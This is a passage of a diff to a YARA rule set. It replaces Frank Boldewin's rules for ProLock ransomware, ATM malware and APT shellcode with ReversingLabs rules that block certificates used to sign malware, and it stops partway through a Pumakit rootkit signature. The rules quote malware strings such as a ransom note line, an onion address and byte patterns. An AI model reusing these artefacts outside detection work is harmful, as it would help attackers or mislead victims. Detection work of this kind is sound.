R3C0NST_Prolock_Malware : FILE + +rule REVERSINGLABS_Cert_Blocklist_172Fea8Cb06Ffced6Bfac7F2F6B77754 : INFO FILE { meta: - description = "Detects Prolock malware in encrypted and decrypted mode" - author = "Frank Boldewin (@r3c0nst)" - id = "1440b5f5-f1e7-522e-8852-84c326858bb9" - date = "2020-05-17" - modified = "2020-05-20" - reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Prolock.Malware.yar#L1-L20" - license_url = "N/A" - logic_hash = "7502011eba1e36c8ec699f1b627c4980cc3009bb43c5aa5a58571330e93211ea" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "0890bf55-ebd5-5b68-8047-14692a5f1ae7" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17052-L17068" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "8e1e3e7d002ce084600c5444dc9b0bad8771370cb7919a3bb5ebc899040e4cf2" score = 75 quality = 90 - tags = "FILE" - hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0" - hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178" - - strings: - $DecryptionRoutine1 = {31 04 1A 81 3C 1A 90 90 90 90 74} - $DecryptionRoutine2 = {83 C3 04 81 3C 1A C4 C4 C4 C4 74} - $DecryptedString1 = "support981723721@protonmail.com" nocase ascii - $DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii - $DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii - $CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E} + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - (( uint16( 0 ) == 0x5A4D ) or ( uint16( 0 ) == 0x4D42 ) ) and filesize < 100KB and all of ( $DecryptionRoutine* ) or ( 1 of ( $DecryptedString* ) and $CryptoCode ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "17:2f:ea:8c:b0:6f:fc:ed:6b:fa:c7:f2:f6:b7:77:54" and 1467936000 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_ATM_Malware_XFS_DIRECT : FILE + +rule REVERSINGLABS_Cert_Blocklist_3Ee50Bb98Fadca2D662A0920E76685A2 : INFO FILE { meta: - description = "Detects ATM Malware XFS_DIRECT" - author = "Frank Boldewin (@r3c0nst)" - id = "d1551c50-d3d2-56fd-a6b7-198d3a26ac72" - date = "2019-10-18" - modified = "2019-10-19" - reference = "https://twitter.com/r3c0nst/status/1185237040583106560" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFS_DIRECT.yar#L1-L37" - license_url = "N/A" - logic_hash = "844a334d0eb8516c0ef3780e48e3dbc8e23d41c80bdff10f01407b775e72709e" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "5c35c73e-e4f6-5707-ad91-1db7c0a0ec81" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17070-L17086" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d232923ed962fbf4a9a30890778c2380d6c6967a693c6f77c2f558bb4347e60e" score = 75 quality = 90 - tags = "FILE" - hash1 = "3e023949fecd5d06b3dff9e86e6fcac6a9ec6c805b93118db43fb4e84fe43ee0" - hash2 = "303f2a19b286ca5887df2a334f22b5690dda9f092e677786e2a8879044d8ad11" - hash3 = "15d50938e51ee414124314095d3a27aa477f40413f83d6a2b2a2007efc5a623a" - hash4 = "0f9cb4dc1ac2777be30145c3271c95a027758203d0de245ec390037f7325d79d" - hash5 = "141ae291ddae60fd1b232f543bc9b40f3a083521cd7330c427bb8fc5cdd23966" - hash6 = "66eb1a8134576db05382109eec7e297149f25a021aba5171d2f99aa49c381456" - hash7 = "ac20b12beefb2036595780aaf7ec29203e2e09b6237d93cd26eaa811cebd6665" - hash8 = "901fc474f50eb62edc526593208a7eec4df694e342ffc5b895d1dcec953c6899" - hash9 = "56548c26741b25b15c27a0de498c5e04c69b0c9250ba35e3a578bc2f05eedd07" - hash10 = "c89f1d562983398ab2d6dd75e4e30cc0e95eab57cdf48c4a17619dca9ecc0748" + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 - strings: - $EncLayer1 = {0F B6 51 FC 30 50 FF 0F B6 11 30 10 0F B6 51 04 30 50 01 0F B6 51 08 30 50 02} - $EncLayer2 = {B8 4D 5A 00 00 89 33 66 39 06 75 ?? 8b ?? 3c} - $String1 = "NOW ENTER MASTER KEY" ascii nocase - $String2 = "Closing app, than delete myself." ascii nocase - $String3 = "Number of phisical cash units is:" ascii nocase - $String4 = "COULD NOT ENABLE or DISABLE connection" ascii nocase - $String5 = "XFS_DIRECT" ascii nocase - $String6 = "Take the money you snicky mother fucker :)" ascii nocase - $String7 = "ATM IS TEMPORARILY OUT OF SERVICE!" wide nocase - $Code1 = {D1 F8 89 44 24 10 DB 44 24 10 DC 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 35 2F 81 0B 00 A3} - $Code2 = {8B ?? ?? ?? 68 2E 01 00 00 52 C7 ?? 06 01 00 00 00} + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABDULKADIR SAHIN" and pe.signatures [ i ] . serial == "3e:e5:0b:b9:8f:ad:ca:2d:66:2a:09:20:e7:66:85:a2" and 1330041600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_21Bfddb6A66435D1Adce2Ceb23Ed7C9A : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "2009c47b-8a15-50fd-a229-5e34244ede1f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17088-L17104" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "22ad68974a1c6729da369c26372ba93c25ddf68df880580c727bf2d3ee2d3a86" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( filesize < 1500KB and all of ( $EncLayer* ) ) or ( filesize < 300KB and 4 of ( $String* ) and all of ( $Code* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x9D\\xA8\\xE6\\xB7\\x87\\xE6\\x99\\xBA" and pe.signatures [ i ] . serial == "21:bf:dd:b6:a6:64:35:d1:ad:ce:2c:eb:23:ed:7c:9a" and 1395297334 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_Aplib_Decompression : FILE + +rule REVERSINGLABS_Cert_Blocklist_5B1C3F7Bbaa91Ca49B06A5C1004Ee5Be : INFO FILE { meta: - description = "Detects aPLib decompression code often used in malware" - author = "@r3c0nst" - id = "f45c73f5-d316-5fea-a8c4-fd930733415f" - date = "2021-03-24" - modified = "2021-03-25" - reference = "https://ibsensoftware.com/files/aPLib-1.1.1.zip" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/aPLib_decompression.yar#L1-L16" - license_url = "N/A" - logic_hash = "1150701724fdb487ebe8fb959afd12fff37a8e9137cb94e78e976a2566ec5fa4" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "b78e7f2b-8122-5df6-ad79-393db9e0498d" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17106-L17122" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "9a8d9acc87668a6fbd9fdd52b6ef69d18de8f19d8f3d3ca8eeb630c6e8c25c65" score = 75 quality = 90 - tags = "FILE" + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 - strings: - $pattern1 = { FC B2 80 31 DB A4 B3 02 } - $pattern2 = { AC D1 E8 74 ?? 11 C9 EB } - $pattern3 = { 73 0A 80 FC 05 73 ?? 83 F8 7F 77 } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jin Yuguang" and pe.signatures [ i ] . serial == "5b:1c:3f:7b:ba:a9:1c:a4:9b:06:a5:c1:00:4e:e5:be" and 1440643213 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0A2089 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "51e603bb-ef21-55e8-8f2b-94865f1213c9" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17124-L17140" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "07ce4d39af1e56fbbfa400cf139956826999043480f93c0fc43ed056f6420d7f" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - filesize < 10MB and all of them + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RocketMedia S.r.l." and pe.signatures [ i ] . serial == "0a:20:89" and 1050073884 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_ATM_Malware_Loup : FILE + +rule REVERSINGLABS_Cert_Blocklist_1F84E030A0Ed10D5Ffe2B81B : INFO FILE { meta: - description = "Detects ATM Malware Loup" - author = "Frank Boldewin (@r3c0nst)" - id = "4786362f-b2c5-5b69-8b06-9216561286e6" - date = "2020-08-17" - modified = "2020-08-17" - reference = "https://twitter.com/r3c0nst/status/1295275546780327936" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Loup.yar#L1-L16" - license_url = "N/A" - hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196" - logic_hash = "39efced4ee3a6147acf5732e4be3a5e9859268b35b79f5e8e87d7c4d77a588c0" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "170dae5a-ed7e-5f20-9ccd-94724e4b2084" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17142-L17158" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "097655cb2965ae71efb905ddf20ed30c240d25e03d08a1b6c87b472533ccc9d8" score = 75 quality = 90 - tags = "FILE" + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 - strings: - $String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii nocase - $String2 = "CurrencyDispenser1" ascii nocase - $Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8} + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "1f:84:e0:30:a0:ed:10:d5:ff:e2:b8:1b" and 1476869735 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_88346267057C0A82E2F39851D1B9694C : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "3be920eb-7b71-53c4-94b7-0ffc88d14c59" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17160-L17178" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "60acdbad8ad3e1d4a863ce160d93abd0b5e2b214858cba84f7a1b907d2491486" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and filesize < 100KB and all of ( $String* ) and $Code + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hudson LLC" and ( pe.signatures [ i ] . serial == "00:88:34:62:67:05:7c:0a:82:e2:f3:98:51:d1:b9:69:4c" or pe.signatures [ i ] . serial == "88:34:62:67:05:7c:0a:82:e2:f3:98:51:d1:b9:69:4c" ) and 1595376000 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_Gamaredon_Getimportbyhash : FILE + +rule REVERSINGLABS_Cert_Blocklist_A46F9D8784778Baa48167C48Bbc56F30 : INFO FILE { meta: - description = "Detects Gamaredon APIHashing" - author = "Frank Boldewin (@r3c0nst)" - id = "8f28273e-e8ca-52cb-8dbc-a235598b1975" - date = "2021-05-12" - modified = "2021-05-12" - reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/APT.Gamaredon.GetImportByHash.yar#L1-L16" - license_url = "N/A" - logic_hash = "b3baebfb745ebc7b9e6df746bfa9622f925b8e8130932e44a148881e7d1fc162" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "72d36a5f-6599-5456-ac67-0589e37bd035" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17180-L17198" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "fffb6309355bc6764b0ab033db5964599c86c9a2f6d8985975a07f6b3ebb40ed" score = 75 quality = 90 - tags = "FILE" - hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79" - hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8" - hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6" + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 - strings: - $ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 } - $djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Mapping OOO" and ( pe.signatures [ i ] . serial == "00:a4:6f:9d:87:84:77:8b:aa:48:16:7c:48:bb:c5:6f:30" or pe.signatures [ i ] . serial == "a4:6f:9d:87:84:77:8b:aa:48:16:7c:48:bb:c5:6f:30" ) and 1618963200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_525B5529Db20D17A85Be284D6B7952Ea : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "52cdf082-7212-53e6-9e55-b86153e6afe8" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17200-L17216" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "8fd406004b634e4826659b1dff88c61074fd321969b9fd63ea45d8e9608b35f1" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Buster Ind Com Imp e Exp de Acessorios P Autos Ltda" and pe.signatures [ i ] . serial == "52:5b:55:29:db:20:d1:7a:85:be:28:4d:6b:79:52:ea" and 1508198400 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_ATM_Malware_Ploutusi : FILE +rule REVERSINGLABS_Cert_Blocklist_70Ae0E517D2Ef6D5Eed06B56730A1A9A : INFO FILE { meta: - description = "Detects Ploutus I .NET samples based on MetabaseQ report" - author = "Frank Boldewin (@r3c0nst)" - id = "02104112-6f81-5d19-935d-45cfcd2fa41c" - date = "2021-03-03" - modified = "2021-03-04" - reference = "https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ploutus-I.yar#L3-L26" - license_url = "N/A" - logic_hash = "77100d300a40219187f5c4b8270f599a91652b69980fe450b791181b8c30b5a4" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "98c19385-555e-5827-b03c-59645ad2a101" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17218-L17234" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "017eed878daf706eb96b638a8d1f4428466bc1d00ce27f32628bd249a658a813" score = 75 quality = 90 - tags = "FILE" - hash1 = "4f6d4c6f97caf888a98a3097b663055b63e605f15ea8f7cc7347283a0b8424c1" - hash2 = "8ca29597152dc79bcf79394e1ae2635b393d844bb0eeef6709d37e6778457b31" - hash3 = "dce1f01c08937fb5c98964a0911de403eed2101a9d46c5eb9899755c40c3765a" - hash4 = "3a1d992277a862640a0835af9dff4b029cfc6c5451e9716f106efaf07702a98c" + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 - strings: - $Code = {28 ?? 02 00 06 2a} + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "70:ae:0e:51:7d:2e:f6:d5:ee:d0:6b:56:73:0a:1a:9a" and 1475193600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_57C3717C5E2Ce9A2E0Cf0340C03F458E : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "47207784-5aee-5fa3-bed9-2c12d9932c38" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17236-L17252" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "fd710146874528c43ad8a9f847b7704c44ba4564cf79e20e6b23aa98b0ee2ea5" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - filesize < 300KB and $Code and pe.pdb_path contains "Diebold.pdb" and pe.imports ( "mscoree.dll" , "_CorExeMain" ) and ( for any i in ( 0 .. pe.number_of_resources -1 ) : ( pe.resources [ i ] . type == pe.RESOURCE_TYPE_VERSION and ( pe.version_info [ "InternalName" ] contains "Diebold.exe" ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Citizen Travel Ltd" and pe.signatures [ i ] . serial == "57:c3:71:7c:5e:2c:e9:a2:e0:cf:03:40:c0:3f:45:8e" and 1450915200 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_Shellcode_Apihashing_FIN8 + +rule REVERSINGLABS_Cert_Blocklist_0761110Efe0B688C469D687512828C1F : INFO FILE { meta: - description = "Detects FIN8 Shellcode APIHashing" - author = "Frank Boldewin (@r3c0nst)" - id = "a5b4a925-c4cc-5d3a-a2f1-3372f77ceea2" - date = "2021-03-16" - modified = "2021-03-25" - reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Shellcode.APIHashing.FIN8.yar#L1-L74" - license_url = "N/A" - logic_hash = "958d6a3c0c78ad22fb56896d6a97b9fe79c56813dc36a37385f3ce5621008624" + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "e8575a71-124b-5040-91b1-ccad371e10da" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17254-L17270" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "0ba60e1f58c7335ba5aa261031d09ee83a0ee51e05f8f26078b2a5c776ad0add" score = 75 quality = 90 - tags = "" + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 - strings: - $APIHashing32bit1 = {68 F2 55 03 88 68 65 19 6D 1E} - $APIHashing32bit2 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4} - $APIHashing64bit = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21} + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ENP Games Co., Ltd." and pe.signatures [ i ] . serial == "07:61:11:0e:fe:0b:68:8c:46:9d:68:75:12:82:8c:1f" and 1433721600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_08Aa03F385F870E3A6D243B74B1Dadf6 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "64aa17fe-676d-5c6e-babc-15b5e8dc72bb" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17272-L17288" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "ef49a28a93d31c55dd2dfd3bec645f757a0a1a7eb8718ce92cf47bf9af126aed" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - all of ( $APIHashing32bit* ) or $APIHashing64bit + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x9C\\xE8\\x8E\\x9E\\xE5\\xB8\\x82\\xE8\\x85\\xBE\\xE4\\xBA\\x91\\xE8\\xAE\\xA1\\xE7\\xAE\\x97\\xE6\\x9C\\xBA\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "08:aa:03:f3:85:f8:70:e3:a6:d2:43:b7:4b:1d:ad:f6" and 1352678400 <= pe.signatures [ i ] . not_after ) } -rule R3C0NST_UNC2891_Steelcorgi : FILE +rule REVERSINGLABS_Linux_Rootkit_Pumakit : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Detects UNC2891 Steelcorgi packed ELF binaries" - author = "Frank Boldewin (@r3c0nst)" - id = "94da7da5-5fc3-5221-97d6-1854aa7b1959" - date = "2022-03-30" - modified = "2023-01-05" - reference = "https://github.com/fboldewin/YARA-rules/" - source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Steelcorgi.yar#L1-L17" - license_url = "N/A" - logic_hash = "4f956b9eaec66bc606ffd0afa2fe9303194e9a8c12d4c3de6ab2334c9856dd99" + description = "Yara rule that detects Pumakit rootkit." + author = "ReversingLabs" + id = "c5c41245-6252-569a-992f-e27a5a3b67f0" + date = "2025-08-26" + modified = "2025-08-26" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/rootkit/Linux.Rootkit.Pumakit.yara#L1-L161" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "437ed7db3f71106b3e30f11ccbd43e66b7b79fc92dc5372d9497a4d2c328b55c" score = 75 quality = 90 - tags = "FILE" - hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170" - hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5" - hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Rootkit" + tc_detection_name = "Pumakit" + tc_detection_factor = 4 + importance = 25 strings: - $pattern1 = {70 61 64 00 6C 63 6B 00} - $pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65} + $hooking_syscalls_mechanism_p1 = { + E8 ?? ?? ?? ?? 55 48 C7 C7 ?? ?? ?? ?? 48 89 E5 41 57 41 56 41 55 41 54 53 51 E8 ?? + ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 31 D2 48 89 05 ?? ?? ?? ?? 48 8B BA ?? ?? ?? ?? 48 85 FF 75 ?? 48 + 8B 8A ?? ?? ?? ?? 48 85 C9 74 ?? B8 ?? ?? ?? ?? 80 7C 01 ?? ?? 75 ?? 48 63 74 01 ?? + 48 01 C6 48 01 CE 48 81 FE ?? ?? ?? ?? 75 ?? 48 8D 3C 01 EB ?? 48 FF C0 48 83 F8 ?? + 75 ?? 48 89 BA ?? ?? ?? ?? 48 81 C2 ?? ?? ?? ?? 48 81 FA ?? ?? ?? ?? 75 ?? 48 C7 C3 + ?? ?? ?? ?? 49 C7 C5 ?? ?? ?? ?? 48 83 7B ?? ?? 0F 85 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 4C 8B 25 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 3B + 2E E8 ?? ?? ?? ?? 49 89 C4 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 43 ?? 48 8B 05 ?? ?? ?? + ?? 4D 8D 74 24 ?? 4D 89 E7 48 8B 40 ?? 48 89 45 ?? 48 8B 75 ?? BA ?? ?? ?? ?? 4C 89 + FF E8 ?? ?? ?? ?? 85 C0 74 ?? 49 FF C7 4D 39 FE 75 ?? EB ?? 4D 85 FF 74 ?? 31 C0 4D + 39 FC 0F 94 C0 89 43 ?? 74 ?? 31 C0 41 81 3C 24 ?? ?? ?? ?? 0F 94 C0 89 43 ?? 4C 89 + 7B ?? 83 7B ?? ?? 74 ?? 48 8B 43 ?? 4C 89 20 83 7B 